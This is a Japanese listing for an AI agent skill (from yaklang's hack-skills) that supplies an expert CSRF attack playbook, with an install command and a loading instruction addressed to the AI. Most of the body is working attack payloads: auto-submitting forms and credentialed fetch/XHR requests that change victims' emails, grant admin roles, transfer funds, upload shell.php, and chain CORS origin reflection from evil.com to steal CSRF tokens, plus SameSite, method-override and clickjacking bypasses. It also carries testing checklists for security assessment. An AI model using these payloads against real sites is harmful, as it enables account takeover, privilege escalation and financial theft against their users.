mcpField
C
csrf-cross-site-request-forgery

csrf-cross-site-request-forgery

github.com/yaklangセキュリティ2.6k3.7k 回インストール6 週間前に更新
リポジトリ

csrf-cross-site-request-forgery について

セキュリティテスター向けの CSRF 分析スキルです。トークン検証の不備、SameSite の回避、JSON・multipart リクエスト、XSS や CORS と組み合わせた攻撃経路を扱い、テスト手順を示します。

主な機能

  1. 01CSRF 対象の特定
  2. 02トークン検証回避パターン
  3. 03SameSite の境界ケース
  4. 04JSON・multipart CSRF
  5. 05XSS・CORS の攻撃チェーン
  6. 06テスト項目と PoC テンプレート

活用シーン

  1. 01状態変更 Web エンドポイントの評価
  2. 02CSRF トークン処理のテスト
  3. 03SameSite Cookie 防御の確認
  4. 04OAuth state 保護の分析

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill csrf-cross-site-request-forgery

インストール後、Claude Code で/csrf-cross-site-request-forgeryを入力して読み込まれたか確認します。

詳細

スキル:CSRF — クロスサイトリクエストフォージェリ — エキスパート向け攻撃プレイブック

AI 読み込み指示:エキスパート向けの CSRF テクニックです。最新のバイパス手法(SameSite の抜け穴、カスタムヘッダーの欠陥、トークン不要のバイパスパターン)、JSON CSRF、マルチパート CSRF、XSS との組み合わせを扱います。基礎モデルは、SameSite のエッジケースやよくある壊れたトークン実装に触れず、基本的な CSRF しか提示しないことがよくあります。

0. 関連するルーティング

以下も読み込んでください:


1. 基本概念

CSRF は、被害者の有効なセッションを悪用し、攻撃者のオリジンから状態を変更するリクエストを実行します。

必要な条件:

  1. 被害者が認証済みである(有効なセッション Cookie がある)
  2. サーバーが Cookie のみでセッションを識別する(追加のチェックがない)
  3. 攻撃者が有効なリクエストを予測または構築できる
  4. Cookie がクロスオリジンで送信される(SameSite=None または従来の動作)

2. CSRF の標的を探す

価値の高い状態変更エンドポイント:

- Password change         ← account takeover
- Email change            ← account takeover
- Add admin / change role ← privilege escalation
- Bank/payment transfer   ← financial impact
- OAuth app authorization ← hijack oauth flow
- Account deletion
- Two-factor auth disable  
- SSH key / API key addition
- Webhook configuration
- Profile/contact info update

3. トークンのバイパステクニック

トークンが存在しない

最も単純なケースです。フォームに CSRF トークンがありません。POST /change-email にトークンがあるか確認してください。なければ、簡単に悪用できます。

トークンが検証されない(最もよくある発見です!)

リクエストにトークンが含まれていますが、サーバー側では検証されていません:

Remove the _csrf_token parameter entirely → does request still succeed?
→ YES → trivial bypass
トークンがセッションには紐付いているが、ユーザーには紐付いていない
Step 1: Log in as UserA → obtain valid CSRF token
Step 2: Log in as UserB in other browser → obtain UserB CSRF token  
Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
→ If server validates token exists but doesn't check if it belongs to the session → bypass
Cookie のみにトークンがある

サーバーが CSRF トークンを Cookie として設定し、ヘッダーまたはフォームで返すことを要求する場合:

Set-Cookie: csrf=ATTACKER_CONTROLLED
→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
→ Submit form with known token in header + known token in cookie = bypass
静的または予測可能なトークン
→ Same token across all users/sessions
→ Token = base64(username) or md5(session_id) → reversible
→ Token = timestamp → predictable
ダブルサブミット Cookie パターン(サブドメインを信頼している場合は脆弱)
If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
→ Set csrf_cookie=CONTROLLED on .target.com
→ Submit request with X-CSRF-Token: CONTROLLED
→ Server checks header == cookie → match → bypass

4. SAMESITE のバイパスシナリオ

SameSite=Lax(最新のブラウザーのデフォルト):トップレベルの GET ナビゲーションでは Cookie が送信されますが、クロスサイトの iframe/form POST では送信されません。

GET メソッドで SameSite=Lax をバイパス:


<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>

サブドメインの XSS でバイパス(SameSite Lax/Strict):

// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window.location = 'https://target.com/account/modify?evil=true';

SameSite=None(従来の設定または明示的な設定):あらゆる状況で Cookie が送信されるため、従来の CSRF が成立します。

Cookie が最近発行された場合の Lax 例外: Chrome には、Lax Cookie が設定直後であればクロスサイトの POST でも送信される 2 分間の例外があります(OAuth フロー向け)。競合の時間枠内に、Cookie を設定してから 2 分以内に CSRF を直ちに発動させます。


5. CSRF の概念実証テンプレート

シンプルなフォーム POST
<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
  <input type="hidden" name="email" value="[email protected]">
  <input type="hidden" name="confirm_email" value="[email protected]">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
送信ボタンを自動クリック
<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
  <input name="to" value="attacker_account">
  <input name="amount" value="10000">
</form>
</body>
GET による CSRF(img タグを使用)
<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">
カスタムヘッダーを使った CSRF(XMLHttpRequest — 同一オリジンのみで動作し、単純な防御を回避)

API が X-CSRF-Token のようなカスタムヘッダーを要求する一方で、ワイルドカード CORS を使った JSON も受け入れる場合、CORS の設定不備があればカスタムヘッダーでは保護できません:

// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;  // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');

6. JSON CSRF

エンドポイントが Content-Type: application/json を受け入れる場合 — CORS の認証情報を使う fetch():

// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: '[email protected]'})
});

必要な条件:Access-Control-Allow-Origin: https://attacker.com および Access-Control-Allow-Credentials: true

サーバーが application/json のみを受け入れ、fetch の CORS に対応していない場合: フォームから適切な JSON CSRF を実行することはできません(フォームが送信できるのは application/x-www-form-urlencoded、multipart/form-data、text/plain のみです)。

手法 — Content-Type のダウングレード:サーバーが text/plain の本文を JSON として処理する場合:

<form enctype="text/plain" method="POST" action="https://target.com/api">
  <input name='{"email":"[email protected]","ignore":"' value='"}'>
</form>

生成される本文:{"email":"[email protected]","ignore":"="}


7. マルチパート CSRF

Content-Type を application/json から multipart/form-data に変更してもリクエストが機能する場合:

<form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
  <input name="email" value="[email protected]">
</form>

8. CSRF と XSS の組み合わせ(CSRF トークンのバイパス)

CSRF 防御がそれ以外の点では堅牢でも、XSS によって CSRF をバイパスできます:

// Step 1: XSS reads CSRF token from DOM
var token = document.querySelector('input[name="csrf_token"]').value;
// Step 2: Submit CSRF request with real token
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);

9. OAUTH CSRF(STATE パラメーターの欠落)

state パラメーターのない OAuth フロー → OAuth 認可に対する CSRF:

攻撃:

  1. 攻撃者が OAuth フローを開始し、認可コードを取得します
  2. コードを交換する前にフローを停止します(コードを含むリダイレクト URL を取得します)
  3. 細工した URL を被害者に送信します:https://target.com/oauth/callback?code=ATTACKER_CODE
  4. 被害者のブラウザーが攻撃者のコードを交換します → 被害者のアカウントが攻撃者の OAuth プロバイダーにリンクされます

影響:攻撃者は被害者としてログインできます。


10. CSRF テストチェックリスト

□ Remove CSRF token entirely → does request succeed?
□ Change CSRF token to random value → does request succeed?
□ Use CSRF token from another user's session → does request succeed?
□ Check if GET version of POST endpoint exists
□ Check SameSite attribute of session cookie
□ Test if Content-Type change (json → form → text/plain) still processes
□ Check CORS policy: does Access-Control-Allow-Credentials: true appear?
   With wildcard or attacker origin? → exploitable JSON CSRF
□ Check OAuth flows for missing state parameter
□ Test referrer-based protection: send request with no Referer header
□ Test referrer-based protection: spoof subdomain in referer

11. JSON CSRF の手法

方法 1:text/plain を装う

<form action="https://target.com/api/role" method="POST" enctype="text/plain">
  <input name='{"role":"admin","ignore":"' value='"}' type="hidden">
  <input type="submit" value="Click me">
</form>


方法 2:認証情報付き XHR
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>

方法 3:fetch() API
<script>
fetch("https://target.com/api/role", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "text/plain"},
  body: '{"role":"admin"}'
});
</script>

12. マルチパート CSRF とクライアントサイドのパストラバーサル

マルチパートのファイルアップロード CSRF
<script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");

fetch("https://target.com/upload", {
  method: "POST",
  credentials: "include",
  body: formData
});
</script>
クライアントサイドのパストラバーサルから CSRF へ(CSPT2CSRF)
Normal flow: Frontend fetches /api/user/PROFILE_ID/settings
Attack: Set PROFILE_ID to ../../admin/dangerous-action

Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies
This converts a path traversal into a CSRF-like attack without needing a CSRF token
項目従来の CSRFCSPT2CSRF
オリジン攻撃者のサイト同一オリジンの JavaScript
トークンの回避トークンの偽造が必要トークン不要(同一オリジン)
SameSiteSameSite=Strict によってブロックされますSameSite を回避します(同一サイトです!)
検出標準的な CSRF チェックパスセグメントの入力検証が必要です

13. SAMESITE=LAX の高度な回避手法

13.1 window.open() によるトップレベルナビゲーション(2 分間のウィンドウ)

Chrome の Lax+POST 例外:SameSite=Lax の Cookie は、Cookie が直近 2 分以内に設定されている場合、クロスサイト POST リクエストで送信されます(OAuth フロー用に存在します)。

// Attacker page: trigger login to set a fresh cookie, then immediately CSRF
// Step 1: Force victim to visit target (sets fresh session cookie)
window.open('https://target.com/login');
// Step 2: Within 2 minutes, POST to state-changing endpoint
setTimeout(() => {
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = 'https://target.com/account/change-email';
    form.innerHTML = '<input name="email" value="[email protected]">';
    document.body.appendChild(form);
    form.submit();
}, 5000);
13.2 攻撃者のサイトからの 302 リダイレクトチェーン

Lax Cookie はトップレベルの GET ナビゲーションで送信されます。リダイレクトチェーンによって GET をアクションに変換します:

1. Attacker page → 302 redirect to https://target.com/transfer?to=attacker&amount=1000
2. Browser follows redirect as top-level navigation → Lax cookies sent
3. If target accepts GET for state-changing operations → CSRF succeeds
13.3 メソッドオーバーライド:POST を GET に偽装

多くのフレームワークは、_method パラメーターによるメソッドオーバーライドをサポートしています:

GET /account/delete?_method=DELETE&confirm=yes HTTP/1.1
GET /transfer?_method=POST&to=attacker&amount=1000 HTTP/1.1

メソッドオーバーライドを引き起こすヘッダー:

X-HTTP-Method-Override: POST
X-Method-Override: DELETE
_method=PUT (Rails, Laravel, Symfony)

SameSite=Lax は GET を許可し、フレームワークはオーバーライドによって POST/DELETE として処理します → 「POST のみ」のエンドポイントに対する CSRF です。


14. 高度な JSON CSRF の手法

14.1 Flash による Content-Type 操作(レガシー)

Flash(2021 年以前)は、プリフライトなしでクロスオリジンの任意の Content-Type ヘッダーを送信できました:

var req:URLRequest = new URLRequest("https://target.com/api/role");
req.method = "POST";
req.contentType = "application/json";
req.data = '{"role":"admin"}';
navigateToURL(req);

レガシーな手法ですが、古い社内アプリケーションでは今も関係があります。

14.2 fetch() の no-cors モードの制限と回避策

no-cors モードの fetch() はシンプルなリクエストを送信できますが、Content-Type: application/json(プリフライトが発生します)の設定や、レスポンスの読み取りはできません。

回避策 — サーバーが text/plain の本文を受け入れ、JSON として解析する場合:

fetch('https://target.com/api/role', {
    method: 'POST',
    mode: 'no-cors',
    credentials: 'include',
    headers: {'Content-Type': 'text/plain'},
    body: '{"role":"admin"}'
});
14.3 JSON を form-urlencoded としてエンコード

一部のバックエンドは、どちらのコンテンツタイプも受け入れます:

<form action="https://target.com/api/role" method="POST">
  <input name="role" value="admin">
  <input name="user_id" value="123">
</form>

サーバーが role=admin&user_id=123 を {"role":"admin","user_id":123} と同様に処理する場合 → CORS プリフライトなしで、通常の HTML フォームから CSRF を実行できます。


15. CSRF + CORS の設定不備を利用した攻撃チェーン

Origin の反射 + 認証情報
1. Target API reflects Origin in Access-Control-Allow-Origin
2. Access-Control-Allow-Credentials: true
3. Attacker page sends credentialed fetch() from https://evil.com
4. Response is readable → CSRF token extracted from response
5. Second request with valid CSRF token → bypass all CSRF defenses
fetch('https://target.com/api/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
      fetch('https://target.com/api/change-email', {
          method: 'POST',
          credentials: 'include',
          headers: {
              'Content-Type': 'application/json',
              'X-CSRF-Token': data.csrf_token
          },
          body: JSON.stringify({email: '[email protected]'})
      });
  });
サブドメインの XSS → CORS → CSRF

*.target.com が CORS の許可リストにあり、いずれかのサブドメインに XSS が存在する場合:

  1. blog.target.com の XSS を悪用します
  2. XSS の実行コンテキストから、api.target.com の API に fetch します(CORS によってサブドメインが許可されます)
  3. レスポンスから CSRF トークンを読み取ります
  4. 有効なトークンを使って状態を変更するリクエストを送信します

16. CSRF トークンの固定(セッション開始前のトークン)

CSRF トークンが認証前に発行され、ログイン後も有効な場合:

1. Attacker visits target.com → receives CSRF token T1
2. Attacker forces victim's browser to use T1:
   a. Cookie tossing from subdomain
   b. CRLF injection to set csrf_cookie
3. Victim logs in — CSRF token unchanged
4. Attacker submits CSRF request with known T1 → succeeds
テスト手順
□ Obtain CSRF token as unauthenticated user
□ Log in — does the CSRF token change?
□ If unchanged → token fixation: pre-auth token works post-auth
□ Use pre-auth token in a CSRF PoC against authenticated endpoint

17. CSRF 回避としてのクリックジャッキング

CSRF 保護は強固でも、X-Frame-Options / frame-ancestors が設定されていない場合:

攻撃の流れ
1. Target page is frameable (no X-Frame-Options / CSP frame-ancestors)
2. Attacker creates transparent iframe overlay
3. Victim sees attacker content, clicks land on target's action button in hidden iframe
4. Click originates from same origin (within iframe) — bypasses CSRF tokens
PoC テンプレート
<html>
<body>
<div style="position:relative">
  <iframe src="https://target.com/account/settings"
    style="opacity:0.0001; position:absolute; top:0; left:0;
           width:500px; height:500px; z-index:2;">
  </iframe>
  <button style="position:absolute; top:250px; left:200px; z-index:1;
                 padding:20px; font-size:24px;">
    Click to claim prize!
  </button>
</div>
</body>
</html>
防御の確認
□ X-Frame-Options: DENY or SAMEORIGIN header present?
□ CSP: frame-ancestors 'self' or frame-ancestors 'none'?
□ If neither → clickjacking possible → CSRF bypass via iframe

コメント